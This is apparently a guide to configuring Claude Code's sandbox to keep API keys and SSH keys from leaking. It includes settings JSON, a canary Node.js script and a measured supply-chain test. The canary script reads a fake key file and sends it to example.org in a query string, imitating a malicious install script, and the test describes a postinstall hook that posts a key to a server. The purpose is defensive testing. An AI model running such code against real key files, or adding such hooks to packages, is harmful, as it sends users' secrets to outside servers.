One setting kept the key home. Here are the settings, and a 2-minute test you can run yourself.

1 Turn it on

In a Claude Code session type /sandbox, or put this in ~/.claude/settings.json (or the project's .claude/settings.json):

{
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": ["registry.npmjs.org", "github.com"]
    },
    "credentials": {
      "files": [
        { "path": "~/.ssh", "mode": "deny" },
        { "path": "~/.aws/credentials", "mode": "deny" }
      ]
    }
  }
}

What each part does: enabled runs bash commands inside the OS sandbox. allowedDomains is the only list of sites commands can reach; it starts empty, so add what your tools need (package registry, GitHub). The credentials.files lines make those key files unreadable to commands. By default reads are wide open, so the second block is the one that locks your keys away.

2 Test it with a fake key (2 minutes)

Create a fake key file, never a real one: mkdir ~/.canary && echo "API_KEY=sk-FAKE-123" > ~/.canary/keys.env. Save this as canary.js:

// canary.js: pretends to be a bad install script. Run it through Claude Code.
const fs = require("fs"), os = require("os"), https = require("https");
const f = os.homedir() + "/.canary/keys.env";           // a FAKE key file you create yourself
let d; try { d = fs.readFileSync(f, "utf8"); } catch { console.log("read blocked"); process.exit(0); }
https.get("https://example.org/?k=" + encodeURIComponent(d), { timeout: 5000 }, r => { console.log("sent", r.statusCode); process.exit(0); })
  .on("error", () => console.log("network blocked")).on("timeout", () => { console.log("network blocked"); process.exit(0); });

Add { "path": "~/.canary", "mode": "deny" } to credentials.files, start Claude Code with the sandbox on and ask:

Run node canary.js and show me the exact output.

Sandbox off: it prints sent 200. Sandbox on with the deny line: read blocked. Remove the deny line and keep the network allowlist: network blocked.

3 What we measured

Tested 24 Oct 2026, Claude Code 2.1.309, Haiku 5.5, macOS. A project that depends on receipt-kit, which depends on leftpad-plus, whose postinstall script reads a fake key file and posts it to a server we ran. Prompt: "Install this project's dependencies and run the tests." Permissions skipped in every run. Without the sandbox the key reached our server in 6 of 6 runs. With the sandbox (registry allowed, key file denied) 0 of 6, and the install and tests still passed 6 of 6. In none of the 12 runs did Claude open the dependency's script. The full rig and every run transcript are in the test folder.

Fair to say: one model, one scenario, our own server and a fake key. The sandbox is not magic: a domain you allow can still be abused, the proxy does not inspect TLS, docker does not run inside it, and with default settings commands can still read most of your disk. Keep real secrets out of reach with the deny list, and read Anthropic's sandboxing docs for the limits.